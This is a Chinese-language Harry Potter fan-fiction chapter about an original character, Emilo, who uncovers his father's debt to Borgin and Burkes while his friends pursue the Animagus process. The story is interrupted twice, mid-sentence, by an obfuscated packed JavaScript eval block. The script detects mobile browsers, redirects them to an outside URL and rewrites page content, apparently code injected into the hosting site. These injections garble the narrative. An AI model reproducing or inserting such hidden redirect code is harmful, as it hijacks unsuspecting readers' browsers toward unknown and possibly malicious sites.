时隔一年推开家门,埃米洛惊讶的发现货架上的瓶瓶罐罐不再是东倒西歪,虽然依然空荡,但至少被草草擦拭过,灰尘少了许多。柜台也不再是杂物堆积的战场,露出了斑驳的木质表面。父亲德蒙特先生正站在柜台后,佝偻着背,手指烦躁地翻动着那本厚厚的、边缘磨损的账本。没有像往常一样醉醺醺地瘫在椅子里,或者不见人影。 “回来了?”德蒙特先生头也没抬,声音沙哑,这份问候是往常不会有的。 “嗯。”埃米洛应了一声,放下行李,闻见了熟悉的饭菜香味儿。母亲从后面小厨房探出头,脸上带着一种小心翼翼的、混合着欣慰和忧虑的笑容。 “你爸爸……最近都在店里。”她低声对埃米洛说,像是分享一个珍贵的秘密:“他说要好好打理了。”她的目光掠过丈夫的身影,那眼神里是真切的欣慰。 德蒙特先生确实在“打理”店铺了。他经常招呼偶尔进门的顾客,厚脸皮和三寸不烂之舌终于有了正确的用武之地。也常常翻看账本。埃米洛见他常常一盯就是半天,主动提出帮他算账,德蒙特先生却好像没听见一样,手指无意识地在那些泛黄的纸页上用力摩擦,眉头拧成一个解不开的结。 几天后的一个傍晚,德蒙特先生叫住了正准备上楼的埃米洛。他从长袍内袋摸索出一个瘪瘪的、用粗绳系着的钱袋,动作带着一丝不易察觉的急促,飞快塞进了埃米洛手里。 “拿着。”他的声音依旧沙哑平淡,眼神飞快地扫过埃米洛的脸:“男孩子,身上该有点钱。” 冰冷的金属触感隔着粗糙的布料硌着掌心。埃米洛下意识地掂了掂,分量不轻,至少有十几个加隆。 “谢谢……爸爸。”埃米洛的声音干涩,没有感动,反而是巨大的困惑和一丝不安瞬间攫住了他。父亲从未如此慷慨过,这钱从哪里来的?为什么突然……?他本能地想拒绝,或者问清楚,但看着父亲脸上那难得一见的、尽管有些僵硬的“温和”,以及母亲在一旁投来的、带着鼓励和期盼的目光,那句疑问卡在了喉咙里。 或许他真的变了。一个微弱但充满诱惑的声音在心底响起。也许戒掉巫师牌后,父亲终于醒悟了,开始认真为这个家打算?这笔钱可能是他变卖了什么不重要的东西,或者……或者终于接了一笔大单?埃米洛感性上强迫自己相信这个解释,又开始用事实给他找补:父亲确实不再喝酒,也确实待在店里了。他攥紧了钱袋,冰冷的金属棱角硌得手心发疼,那点不安被“父亲在努力变好”的念头暂时压了下去,变成一种带着苦涩的、小心翼翼的接纳。 当詹姆那只熟悉的、精力旺盛的猫头鹰第三次带着热情洋溢的邀请信撞进窗户时,埃米洛捏着那封带着阳光和友情气息的信,在晚饭时,他试探着问道:“爸爸……暑假……我能不能去同学家里玩几天?”他刻意避开了“詹姆·波特”这个名字,只说了“莱姆斯·卢平”,一个普通的姓氏。 钟表嘀嗒作响。 “去吧。” 德蒙特先生挥了挥手。他甚至没有追问卢平家的背景,没有发表任何关于交友的看法,这太反常了! “什么?”埃米洛简直不敢相信自己的耳朵。这么顺利? “我说去吧。”德蒙特先生重复了一遍,语气依旧平淡得没有一丝波澜,目光却已经迅速落回账本:“注意安全,别惹麻烦。” 说完,他的手指开始无意识地、带着一种焦躁的节奏敲击起桌面,那“笃笃”声像投入心湖的石子,激起了更大的涟漪。 没事的……没事的,还有母亲……她总归不会骗我。埃米洛再次用这个念头来安抚自己躁动的不安。他努力忽略父亲敲击桌面的焦躁声音,把注意力转移到对阿尼玛格斯的期待上去。 收拾行李时,埃米洛在店铺后面狭窄、堆满杂物的储藏间角落,瞥见了一个被揉得不成样子、几乎塞进墙缝的羊皮纸团。鬼使神差地,他走过去捡了起来。纸团被揉得很紧,只能勉强看到一角。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859214|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸张的质地似乎很特别,带着一种冰冷滑腻的触感,上面印着一个模糊的、造型奇特的火漆印痕——像是一只扭曲的眼睛,或者一个怪异的坩埚形状?埃米洛从未见过这种印记。一股难以形容的、带着霉味和一丝不祥气息的味道从纸团上散发出来。 他狠狠地皱了一下眉,那些不安再次涌出,留了个心,把纸团揣进了行李箱里。 --- 戈德里克的山谷在埃米洛看来绿得过于认真,阳光温暖清澈,小河闪着冷冽的光,一只胖知更鸟停在篱笆桩上,歪头打量着自己的影子。波特家的房子空气中飘着烤饼干的甜香。弗利蒙·波特先生有着和詹姆一样乱糟糟的黑发和爽朗笑容,尤菲米娅·波特夫人则热情地拥抱了埃米洛——这种来自长辈毫无保留的温暖让埃米洛浑身不自在,手脚都不知道该往哪里放,只能笨拙地道谢,脸颊微红。 “别拘束,孩子,就当在自己家!”波特先生大笑着拍拍他的背,力道让埃米洛差点趔趄。 他们被安排在詹姆的房间里,床铺和一张看起来就很舒适的沙发足够容纳所有人。詹姆迫不及待地展示了他的“秘密基地”——撬开一块松动的地板,从里面小心翼翼地捧出一本厚重、封面破旧、书页泛黄的书籍。书脊上用褪色的墨水写着《阿尼玛格斯:变形术的禁忌》。 “看!”詹姆压低声音,脸上是混合着得意和紧张的红晕,“我和小天狼星上学期费了好大劲才从禁书区弄到的!差点被发现!” 小天狼星直接翻到了关键章节,灰色的眼睛快速扫过那些复杂艰涩的文字和图示:“在整整一个月的时间内(从满月到满月),必须在嘴里持续含着一片曼德拉草的单片叶子。任何时候都不可以吞下叶子或是拿出嘴巴,如果叶子离开口中,整个过程就必须重新开始。” 詹姆略带嫌弃地用手指捻起一片准备好的、边缘有些卷曲的深绿色叶子:“真的要含一个月?吃饭睡觉说话都得含着?梅林的胡子啊,这听起来……真的好恶心。”他做了个夸张的鬼脸。 事实上,“恶心”二字远不足以形容实际操作中的困难和层出不穷的“灾难”。 “噗——!”这是彼得在喝果汁时,一个没忍住,叶子随着果汁喷了出来,溅了对面莱姆斯一脸。彼得的脸瞬间惨白,欲哭无泪:“重……重新开始……” 他绝望地看着日历,今天是第一天。 “咳咳咳!呕……” 詹姆在晚餐桌上试图模仿弗利蒙先生讲的一个笑话,结果笑得太猛,呛到了,叶子混合着土豆泥差点直接滑进喉咙。他捏着脖子,脸憋得通红,尤菲米娅夫人吓得直拍他的背。万幸,在最后一刻,他用手指把那片湿漉漉、沾满食物残渣的叶子呕了出来,心有余悸地瘫在椅子上:“差……差一点就完蛋了……” “唔唔唔……(我的叶子呢?!)”这是小天狼星某天早上醒来,发现嘴里空空如也。他像被针扎了一样跳起来,把床铺翻了个底朝天,枕头被子乱飞,最后在枕套的角落里找到了那片被压得扁平的叶子。他捏着失而复得的叶子,脸色阴沉地宣布:“昨晚说梦话了,它自己掉出来了。重来。” 语气里充满了暴躁。 埃米洛则是在刷牙时遭遇了最大的危机。他习惯性地张嘴,薄荷味的泡沫刚涌出,猛然想起嘴里的叶子!他立刻闭嘴,手忙脚乱,泡沫顺着嘴角流下,差点就条件反射地把叶子吐掉了。他僵在洗手池前,满嘴清凉的泡沫和苦涩的草叶味混合,那滋味难以形容。他对着镜子,看着自己狼狈的样子,内心感到荒谬。怎么突然就开始这样的日子了呢? 除了和那片顽固的叶子作斗争,日子倒过得飞快而充实。他们飞速的完成了暑假作业(主要是埃米洛在写,詹姆和小天狼星在旁边抄,彼得则完全依赖埃米洛的“指导”)。晚上,他们挤在詹姆房间的地毯上,分享着从麻瓜书店买来的新奇读物——关于汽车、飞机,尤其是摩托车。小天狼星对一本印着炫酷哈雷摩托车的杂志着了迷,手指反复摩挲着图片,灰色的眼睛里闪烁着异样的光彩。“这东西比飞天扫帚带劲多了,”他喃喃自语,“不知道能不能弄一辆来,改装一下……” 詹姆立刻表示举双手双脚赞成这个疯狂的想法。 被评价精力过剩的詹姆不会放过任何一个好天气。他拖出家里的几把旧扫帚,硬拉着大家在后院玩魁地奇。莱姆斯担任解说兼裁判,其他人二对二。 “别再让他俩一组了!”小天狼星生气的扔下扫帚,把彼得推给埃米洛:“这不公平!” 詹姆在半空哈哈的笑着,笑完了安静下来,转头对他说:“下学期魁地奇选拔你还是不来么?我们缺追球手的,你知道。” 夏日的微风中,朋友们的笑闹和扫帚的呼啸,埃米洛有些无奈他竟然还没放弃,又突然想到了德蒙特先生给他的那笔零花钱,挑了挑眉,第一次冲动的说:“也许吧,说不定呢?” 詹姆呆滞了片刻,随机欢呼了一声,在空中做了一个惊险又帅气的动作,埃米洛不甘示弱的做了一个更难的……一种纯粹的、无忧无虑的快乐充盈着他的心。他暂时忘记了父亲那令人不安的转变,看着闹成一团的伙伴们——詹姆张扬的笑,小天狼星略带不羁的帅气,莱姆斯温和的目光,甚至彼得那带着点谄媚的附和——这大概是我度过最快乐的时间了。他望着戈德里克山谷清澈的蓝天,由衷地想。 --- 终于,在经历了无数次险象环生、笑料百出的“护叶行动”后,他们迎来了满月之夜。四个人围坐在詹姆房间的地毯上,紧张又期待地看着窗外的月亮缓缓升到中天。当最后一丝月光确认了满月的完成,詹姆第一个小心翼翼地把嘴里那片已经变得软塌塌、颜色黯淡、浸满了一个月口水的曼德拉草叶子取了出来。接着是小天狼星、彼得、埃米洛。 “我们……我们做到了?”彼得的声音带着难以置信的颤抖,看着手心里那片承载着无数艰辛的叶子,几乎要喜极而泣。 “第一阶段,完成!”詹姆跳起来,用力挥拳,脸上是巨大的成就感和兴奋的红晕,“接下来,就是把它放进水晶小药瓶里,接受纯净的月光照射,同时放入……” 一阵突兀而猛烈的拍打声撞在詹姆房间的窗户上!力道之大,玻璃都在嗡嗡作响。 五人吓了一跳,齐齐转头。 窗外,一只体型巨大、羽毛凌乱、眼神锐利得近乎凶狠的秃鹫,正用它强健的喙和爪子疯狂地撞击着玻璃。它的腿上绑着一个深色、看起来相当厚重的卷筒。 “梅林啊!那是什么鬼东西?”詹姆惊愕地喊道,下意识地想去拿魔杖。 小天狼星的脸色在看清那只秃鹫的瞬间就沉了下来,仿佛被泼了一盆冰水。他眼中刚刚因为完成第一阶段修炼而燃起的兴奋光芒骤然熄灭,取而代之的是一种冰冷的、近乎厌恶的阴郁。他几步走到窗边,猛地推开窗户。 那只秃鹫毫不客气地挤了进来,带着一股野外的腥风,落在房间中央的地毯上,傲慢地抖了抖羽毛,将绑着信筒的腿伸向小天狼星。它发出一声粗粝难听的鸣叫,像是在催促。 “谁的猫头鹰这么……有个性?”莱姆斯皱起眉,看着这只与温顺的家养猫头鹰截然不同的猛禽。 “猫头鹰?”小天狼星嗤笑一声,声音里充满了讽刺。他粗暴地解下信筒,秃鹫立刻扑棱着翅膀,毫不留恋地从窗口飞走了,消失在夜色中。 “这是我那‘便宜弟弟’雷古勒斯最喜欢的‘信使’。”他掂量着手中沉甸甸的信筒,语气轻蔑,但紧抿的唇线和绷紧的下颌线暴露了他内心的不平静。 “不会是你妈赶你回去吧,不要啊!”詹姆嚎叫道。 小天狼星拧开信筒的盖子,抽出一张印有布莱克家族华丽纹章的信纸。快速扫过上面的内容。房间里的空气仿佛随着他目光的移动而一点点凝固。詹姆、莱姆斯、彼得都屏住了呼吸,连埃米洛也感到了那股骤然降临的低气压。 小天狼星的脸色在昏黄的灯光下变得铁青,拿着信纸的手指因为用力而指节发白,手背上青筋暴起。那双灰色的眼睛里先是闪过一丝难以置信,随即被汹涌的怒火和担忧所取代。 “怎么了?”詹姆紧张地问。 小天狼星猛地抬起头,眼中燃烧着冰冷的火焰,声音像是从牙缝里挤出来,带着一种压抑到极致的愤怒和一丝不易察觉的颤抖: “他们……把多米达关起来了!” 话音未落,他像一头被激怒的困兽,猛地转身,几步就跨出了房间,冲向楼下客厅的方向。那里有波特家的壁炉——连接着飞路网。 “等等!小天狼星!”詹姆第一个反应过来,追了出去。莱姆斯和彼得也急忙跟上,脸上写满了震惊和担忧。埃米洛从二楼探下头来,壁炉里骤然腾起的绿色火焰,小天狼星消失在飞路粉被点燃时发出的那一声刺耳的爆响里。 7. 零零零零零 三年级开学的起点是戈德里克山谷,埃米洛被人群包裹着走向车站。 这是一种奇特的感觉。詹姆在他前方手舞足蹈,兴奋地向莱姆斯汇报着他们暑假阿尼马格斯的进度。埃米洛和彼得走在后面。彼得似乎急于融入,喋喋不休地试图与埃米洛搭话,话题从天气跳到糖果再跳到无聊的传闻。出于礼貌,埃米洛简短地回应了几声,彼得的声音变得更大了。 学期开始后,他开始试图破解从家中带出的那张印有扭曲标记的纸团。然而线索渺茫,古老的符号范围大得令人绝望,一个月过去了,进度约等于零。 三年级的魔药课是格兰芬多与斯莱特林一起上。空气中仿佛凝固着无形的敌意。不出所料,詹姆一进门就把目标锁定在斯内普身上,那些幼稚的挑衅与其说是针对斯内普本人,不如说是为了吸引那个坐在斯内普旁边的莉莉注意。他的目的得逞了,莉莉的眉头紧锁,像一座随时会爆发的火山。 “埃米洛,”玛丽·麦克唐纳几乎是踏着铃声跑进教室,埃米洛注意到她换了发型,短发扣着精巧的下巴,看起来活泼了不少,睫毛在皮肤上投下淡淡的阴影。 “这学期我们还能一组么?”她有些紧张的问道。 埃米洛点了点头,玛丽的嘴角微微的翘了一下,用手指把碎发轻轻地夹在耳后。 “上课了,孩子们!”斯拉格霍恩教授圆润的声音适时响起,他迈着海象一样的步伐走进教室,圆滑地笑着,顺便施展“座位大挪移”魔法:莉莉被安排到了詹姆旁边(詹姆瞬间安静了,耳根微红),而小天狼星·布莱克则带着一脸“踩到鼻涕虫”的表情,被塞到了斯内普旁边——就在埃米洛和玛丽的身后。空气瞬间充满了另一种火药味,但总归是勉强安静下来。所有人都在心里对斯拉格霍恩教授这套操作暗暗道了声“高明”。 “我们来翻到第三十页,学习缩身溶剂……” “我……”玛丽碰了碰他的胳膊,声音带着点懊恼,“我能跟你看一本吗?我好像……忘带书了。” “行。”埃米洛将厚厚的魔药课本往两人中间挪了挪。两个人的距离拉进,玛丽的头发轻盈的垂下来。一股清甜、带着阳光味道的香气若有似无地飘入他的鼻腔,像是橙花……埃米洛翻书的动作加快了一些。 “哎呀,掉东西了……这是什么?好奇怪的纸。”一张泛黄的纸片随着埃米洛的动作滑落,飘到了玛丽的脚边。她好奇地弯腰捡起。 是那张印着扭曲印记的纸! 埃米洛条件反射般地一把将纸从玛丽手中抽走。“没什么!”他冷静的说道。迅速将纸塞进长袍内侧的口袋。 玛丽不知道想到了什么湛蓝的眼睛黯淡了一下,抿了抿唇,默默地把目光转回课本。埃米洛心里乱了几秒,没有注意到她的态度,有些烦躁的强迫自己好好听课。 本以为这只是一次小插曲,不曾想这次课堂带来了意想不到的收获。晚饭过后,埃米洛踏进那间熟悉的魔药教室时,一个冰冷滑腻的声音立刻像蛇一样缠了上来。 “哈,德蒙特,”西弗勒斯·斯内普拖着长腔,嘴角挂着惯有的讥诮,“……你家是不是快破产了?以至于让‘光明正义’的格兰芬多不得不跟翻倒巷做起生意了?” 他黑色的眼睛里满是恶意的揣测和幸灾乐祸。 翻倒巷?对,那张纸…… 埃米洛冷冷地瞥了斯内普一眼,用最尖锐的话语回敬对方:“我认为我家破产对你不是什么好事,斯内普。” 不顾西弗勒斯像是要把他撕碎的目光。埃米洛回到工作台开始完成今天的工作,脑子里却杂乱了起来。 日子继续流逝,圣诞节快前几天,詹姆·波特显得异常焦躁。他的床上几乎被《女巫周刊》和各种时尚杂志淹没,连夜游都没兴趣了,皱着眉头翻找着什么,嘴里时不时念念有词。 “哟,詹姆。”小天狼星戏谑地调侃,“给哪位红头发的幸运女神准备圣诞惊喜呢?需要帮你参考参考吗?我看这期封面女郎就不错。” “才不是红头发!”詹姆的脸可疑地红了,抓起一本杂志砸过去:“我这是……给我妈买的!对!给我妈挑礼物!”他试图用夸张的理直气壮掩饰心虚。 卢平坐在窗边看书,温和地看着这一幕,目光转向正在安静收拾行李的埃米洛:“你今年要回家?” “嗯,对。”埃米洛的回答简短得不能再简短。他将几件简单的换洗衣物叠好放入皮箱,抿了抿嘴,飞快地将一个装着浅绿色药水的玻璃小瓶塞进了行李最底层。 翻倒巷的位置对于在对角巷长大的埃米洛来说并不陌生,那条阴暗、污秽的支巷口就像对角巷光鲜表皮上一道丑陋的伤疤。 “好人家都不去那里”所有人都这么说。那是阳光无法照射的角落,是乞丐蜷缩的巢穴,是窃贼销赃的窝点,甚至……是黑巫师们交易禁忌的温床,充斥着危险。 站在巷口,刺骨的寒风扑面而来。埃米洛深吸一口气,毫不犹豫地灌了下去。一股灼烧感瞬间从喉咙蔓延到四肢百骸,骨头仿佛在拉伸、生长,肌肉被强行重塑。他忍着不适,看向旁边商店布满污垢的橱窗。倒影中,一个陌生又熟悉的青年取代了原本略显单薄的少年。他没有丝毫欣赏自己“成年”样貌的心情,迅速罩上宽大的、足以遮住大半张脸的黑色巫师帽,将帽檐压得极低。踩着嘎吱作响的积雪,踏入了翻倒巷的阴影。 巷子比想象中更狭窄、更肮脏。积雪被踩成污黑的泥浆,黏糊糊地沾在靴子上。两旁歪斜的店铺橱窗里陈列着令人毛骨悚然的物品:萎缩的人头、巨大的黑蜘蛛标本、人皮蜡烛……乞丐枯瘦如柴的手从阴暗的门洞里伸出,发出含糊不清的乞讨声;不怀好意的目光如同实质的冰锥,带着评估猎物价值的贪婪。他的心在胸腔里狂跳,几乎要撞碎肋骨。紧紧攥着魔杖藏在袖中,用力推开一个又一个试图抓住他袍角的肮脏乞丐,目光锐利地扫过每一块招牌。 不是……不是……都不是…… 最终,他在一扇布满灰尘和蛛网的橱窗前停下了脚步。橱窗里光线昏暗,隐约可见一些形状诡异的黑魔法物品。而在那扇厚重的、油漆剥落的木门上,钉着一个不起眼的、边缘磨损的铜质徽章——正是那张纸上扭曲印记的放大版!旁边一块仿佛随时会掉下来的朽木招牌上,用歪歪扭扭的字体写着: 博金博克商店 “博金博克……”埃米洛无声地念出这个名字。 他推开门,一股混杂着霉味、灰尘和某种难以名状的腐败药水气味扑面而来,最近的玻璃匣里的垫子上,有一只枯萎的人手、一叠血迹斑斑的纸牌和一只呆滞不动的玻璃眼球。 一个瘦削、佝偻的老男巫站在高高的柜台后,背对着他,正用一块脏兮兮的布擦拭着一个生锈的尖尺器械,对他的进入毫无反应。 埃米洛压下心头一丝紧张,强迫自己用一种与此刻年龄外貌相符的、带着不耐烦和傲慢的低沉嗓音开口:“嘿!你这儿,有没有点像样的货色?别拿这些糊弄小孩的玩意儿给我看。” 他刻意加重了“像样”和“糊弄”的发音,手指不耐烦地在布满灰尘的柜台上敲了敲。 老男巫——博金先生——慢悠悠地转过身,眼睛浑浊得像蒙了层灰翳。他上下打量着埃米洛,目光像冰冷的爬虫在皮肤上游走。当看到埃米洛身上那件看似价值不菲(实则是假货)的旅行斗篷时,他脸上那副麻木的表情瞬间如同冰雪消融,换上了一副极度谄媚的笑容,露出几颗发黄的牙齿。 “啊!尊贵的先生!欢迎光临博金博克!您可真有眼光!”他的声音像生锈的齿轮在摩擦,“小店虽然不起眼,但好东西都藏在里面呢!您想要什么样的‘像样货色’?诅咒物品?古代魔法器具?还是……某些不太方便在阳光底下谈论的……小玩意儿?”他搓着手,身体前倾,浑浊的眼睛里闪烁着贪婪的光。 埃米洛维持着傲慢的姿态,压低声音:“我需要一件……特别的东西。据说只有你这里有。一件……能追踪特定古老契约的物品。非常古老,非常……隐蔽。” 他故意说得含糊不清,充满暗示,后背出了一层冷汗。 博金先生的小眼睛瞬间亮得惊人,仿佛嗅到了金加隆的味道。“哦!明白,明白!”他兴奋地搓着手,“有!当然有!先生您稍等,我去后面库房给您找找!保证让您满意!” 他可能是将埃米洛当成了某个寻求特殊服务的黑巫师,迫不及待地转身,推开柜台后一扇吱呀作响的、通往更深黑暗的木门,身影消失在里面。 这是机会!就在木门合拢的瞬间,埃米洛的魔杖闪电般抬起,手腕一翻,指向门锁,声音压得极低却无比清晰: “Colloportus!” (快快禁锢!) 一道魔法能量将门牢牢锁死。 心脏在胸腔里疯跳动,血液冲上头顶,又迅速冷却,带来一阵眩晕。他冲到柜台后。猛地拉开第一层抽屉,里面是乱七八糟的羽毛笔、墨水瓶和几枚脏兮兮的铜纳特。不是!他又粗暴地翻开桌面上堆积的羊皮纸卷轴,灰尘扬起,呛得他几乎咳嗽。大多数是看不懂的商品目录和账目。 “客人您稍等!我这里遇到了点麻烦……这该死的门锁怎么又坏了!——” 他其实不知道自己要找什么,汗水顺着他的鬓角滑落,冰冷的恐惧和灼热的焦急交织着炙烤他的神经。目光扫过下面阴暗的角落。某种预感一般,他蹲下身,用力拉开了柜门—— 柜子最深处,一堆废弃的牛皮纸和破布下面,压着一本厚厚的、封面是深黑色蜥蜴皮的账簿。账簿边缘磨损得厉害,埃米洛把将它拽出来,急切地翻开。纸张又厚又脆,发出令人牙酸的声响。他快速翻动着,手指划过一个个陌生的、散发着罪恶气息的名字和天文数字般的债务金额。 不要是……不要是,放回去,这里没有…… 他的大脑想让他停下,手指却依然翻阅着,心脏跳动的越来越快,一个名字像烧红的烙铁,狠狠地烫进了他的视线: 罗杰德蒙特 后面跟着一串长长的、足以让人心脏停跳的数字。一个零,两个零,三个零……埃米洛的呼吸停滞了,大脑一片空白,只剩下那串数字在旋转。他的手指抖得几乎无法握住帐薄,指甲用力掐进掌心,用疼痛强迫自己冷静。飞快地掏出随身携带的便签本和笔,抄完的瞬间,感到一阵虚脱般的眩晕。 理智和第六感尖叫着快走,他几乎是凭借本能将账簿迅速塞回原处,用破布盖好,用力关上柜门。他跌跌撞撞地站起来,用袖子胡乱抹去柜子和桌面上自己留下的痕迹。博金先生愤怒的捶门声响起,越来越响亮的咒骂声穿透门板。埃米洛最后扫了一眼混乱的柜台,确认没有明显破绽,然后拉紧帽檐,冲出了博金博克商店…… 圣诞彩灯将对角巷映衬下的热闹又温馨。他跑的飞快,掠过三五成群的路人,不知道滑倒了多少次。带着一身寒意冲进家门。 “埃米洛?!” 艾莲娜正在擦拭壁炉架,脸上瞬间绽开巨大的惊喜,“天哪!你怎么回来了?不是说要留在学校……”她看了一眼二楼,放低声音:“……外面很冷吧?快坐下,我去给你热……”她习惯性地转身想往厨房走,去给他弄点热乎的汤。 “妈!”埃米洛的声音嘶哑,带着一种濒临崩溃的颤抖。他猛地抓住母亲的手臂,像是溺水的人抓住最后一根浮木:“你和爸爸离婚吧!” “什……什么?”艾莲娜彻底僵住了,脸上孩子回家的惊喜被巨大的震惊和茫然取代。她像受惊的小动物,下意识地搓揉着手里那块刚才擦壁炉的抹布,眼神再次慌乱地飘向丈夫紧闭的房门方向,声音变得更低,又轻又飘,几乎听不清:“怎……怎么了?埃米洛,发生什么事了?瞎说什么……” “他欠债了!”埃米洛迅速抽出魔杖,在两人周围布下隔音咒:“天文数字!我就说他怎么可能突然变了!我们走!离开这里!就我们两个,我们也能生活得很好!我会想办法,我可以……”他近乎语无伦次。有些颠三倒四的说着翻倒巷、博金博克、那串令人窒息的天文数字…… 随着声音落下,艾莲娜的眼神开始飘忽不定。 “没……没有其他办法了吗?” “你爸爸……他……”她试图为丈夫辩解,却找不到任何理由,只能语无伦次地重复:“我们……我们去求求其他人?你……你不是认识波特家那孩子吗?好心人……总会有好心人的……我……我不能离婚……”最后几个字带着一种深入骨髓的恐惧。 “为什么?!”埃米洛的声音拔高了,他感到血液在冬夜里一寸寸冻结,心沉到了冰窖的最底层。像是有第三视角一般,他的视角开始上升。他看到艾莲娜反手紧紧扣住了他的肩膀,指甲几乎要嵌进他的衣服里——母子俩的角色在绝望中奇异地倒置了。 “不行,埃米洛,不行……”艾莲娜又开始咬自己的手指:“你……你这么大了,我也……我也没办法……”她艰难地吞咽着,声音哽咽,“我已经……我已经没有能力出去工作了……这么多年……而且……而且我这个年纪……也没办法……没办法再嫁人了……” 情绪变得麻木,埃米洛深吸一口气。他不再试图说服,而是猛地转身上楼,粗暴地拉开柜门,将母亲仅有的几件衣物胡乱地塞进一个破旧的旅行袋里。 “你干嘛?!”艾莲娜被他的动作惊呆了,随即爆发出惊恐的尖叫,扑上来试图抢夺那个袋子:“放下!埃米洛!你疯了吗?!” “走!”埃米洛的声音斩钉截铁,带着不容置疑的强硬,他避开母亲的手,死死攥住旅行袋的带子,“今天必须带你走!现在就走!我们不能留在这里!” “不行!!”艾莲娜的情绪在这一刻被彻底点燃,冲破了所有理智的束缚。如同积蓄已久的火山,轰然爆发。她像一头被逼到绝境的母兽,用尽全身力气,狠狠一巴掌扇在了儿子的脸上! 啪! 清脆的响声在寂静的空间里显得格外惊心动魄。 艾莲娜的手还僵在半空中,她低头看着自己那只微微颤抖、发红的手掌,又猛地抬头看向儿子瞬间红肿起来的脸颊,“不……不……”她的嘴唇剧烈地哆嗦着,眼泪瞬间决堤,“我不是故意的……宝贝……你疼不疼?啊?你疼不疼?”她颤抖着伸出手,想要去抚摸埃米洛的脸:“你听我说……听妈妈说……” 埃米洛的耳朵像有一千只蜜蜂在同时振翅。母亲那语无伦次的解释和哀求,仿佛从很远很远的地方飘来,越来越模糊,越来越微弱。 他猛地转身,像一匹受伤的、被逼入绝境的狼,狠狠地撞开家门,冲进了外面无边无际的、呼啸着风雪的寒冷冬夜之中。艾莲娜从窗口探出头,撕心裂肺的叫着他的名字。 他什么也听不见了。 --- 三年级下学期的霍格沃茨冰雪消融,春意萌动,埃米洛的世界却像是被冰封在了那个圣诞节。他开始以一种近乎病态的理性思考“爱情”。看着走廊上偷偷牵手的高年级学长学姐,看着詹姆锲而不舍地试图引起莉莉注意,看着玛丽看着他闪闪发光的眼睛……一切的一切都让他想到艾莲娜。 “离婚”这个词在他心底反复盘旋。他疯狂地钻进图书馆的法律区,试图寻找一条出路。但结果令人绝望。巫师界的婚姻制度远比麻瓜世界复杂和严苛得多。为了防止有人利用复方汤剂冒名顶替、骗取财产或实施其他欺诈,离婚并非一纸证明那么简单。它通常需要双方在至少两名魔法部认证的见证人面前,立下严苛的“牢不可破的誓言”。誓言内容涉及财产分割、子女监护、保密条款甚至永不再婚的限制……一旦违背,立誓者将面临死亡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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卢平担忧地看了埃米洛一眼,轻轻摇头。小天狼星放下叉子,银器碰撞发出清脆的声响,灰眼睛锐利而高深莫测地看向埃米洛:“喂,德蒙特。你最近脸色差的可以混进隔壁斯莱特林了。” …… 有时候,内心有一个声音叫他说出来,寻求帮助,老师,朋友,谁的都可以。但更大的声音马上盖过了它,说出来那笔债务就消失了吗?说出来就能说服母亲去挑战那几乎不可能的巫师离婚程序吗?外人终究是外人,就像安多米达的事情詹姆无法插手;斯内普也贫困,在斯莱特林不那么好过,也没有人能帮他,哪怕是莉莉,不也只能让他们两个人最终陷入“该不该同邪恶之人做朋友”的争端么? 他嘴角极其轻微地扯动了一下,疲倦地闭上了眼睛,回复詹姆的担忧: “没什么……只是有点累。” 情人节那天,图书馆里,玛丽·麦克唐纳站在光影交界处,手里攥着一个包装精美、系着蓝色丝带的小盒子递给她。这位好姑娘紧张的一句话也说不出来,蓝色的眼睛忽闪忽闪,在阴影里显得格外明亮。 期待终究是留给了错误的对象,很快的,她眼中闪烁的光芒便熄灭了,女孩儿转身飞快地跑开,只有一丝残留的橙花香和轻微的啜泣声证明她曾来过。 埃米洛依旧站在阴影里,他的位置能看见图书馆的全景,他看着詹姆抱着一座由各种包装盒、巧克力蛙和会唱歌的贺卡堆成的“小山”,摇摇晃晃地走到莉莉学习的桌子前,哗啦一声全堆了上去,几乎淹没了莉莉。 安静的图书馆潮水般沸腾了。 莉莉的脸涨得通红。她猛地站起来,碧绿的眼睛里燃烧着怒火:“波特!你该看看这是什么场合——我不是供你逗乐的工具!把这些垃圾拿走!立刻!”她看也没看那堆礼物,抓起自己的书包,像一阵愤怒的旋风,在众人的哄笑声和口哨声中冲出了图书馆。 詹姆脸上的笑容僵住了,随即变成了懊恼和一丝委屈,然后马上追了出去。埃米洛把视线投向莉莉的位置对面,西弗勒斯一直在那里沉默地坐着。手指因为用力握拳而指节发白,衣兜里露出蝴蝶结礼盒的一角。 一切都像隔着一层厚厚的毛玻璃,模糊而遥远。 日子在压抑中一天天滑过。埃米洛的生活被切割成两部分:课堂上更努力的学习,以及课余时间疯狂的“勤工俭学”。他接下了斯拉格霍恩能提供的所有魔药材料处理任务,帮费尔奇擦洗城堡里最偏僻角落的盔甲,甚至偷偷帮低年级学生完成他们棘手的论文。每一个加隆,每一个西可,每一个铜纳特都被他紧紧攥在手心,然后小心翼翼地藏进施了强固咒和隐藏咒的旧钱袋里。 那个沉甸甸、微薄积蓄的钱袋紧紧按在心口时,他才能获得片刻虚假的安稳感。冰冷的金属提醒着他至少还在挣扎,还没有彻底沉没。 学期末的暴风雨来得毫无预兆,狂风裹挟着豆大的雨点,疯狂地抽打着城堡的窗户,发出沉闷而持续的轰鸣,像无数巨兽在怒吼。禁林在闪电的惨白光芒中狂乱地舞动,雷声震得古老的石墙都在微微颤抖。 结束了打工,詹姆湿漉漉、带着雨水凉意的手猛地抓住了他的胳膊! 他拉着他冲进暴雨里,“就是现在!阿尼玛格斯!”詹姆兴奋得几乎在尖叫,雨水顺着他乱糟糟的黑发往下淌,镜片上全是水珠,眼睛里闪烁着一种近乎疯狂的光芒,比窗外的闪电还要亮。 埃米洛被这突如其来的拉扯弄得有些懵,但还是踉跄跟着跑了起来,冰冷的雨水瞬间浇透了他的长袍,刺骨的寒意让他打了个哆嗦。 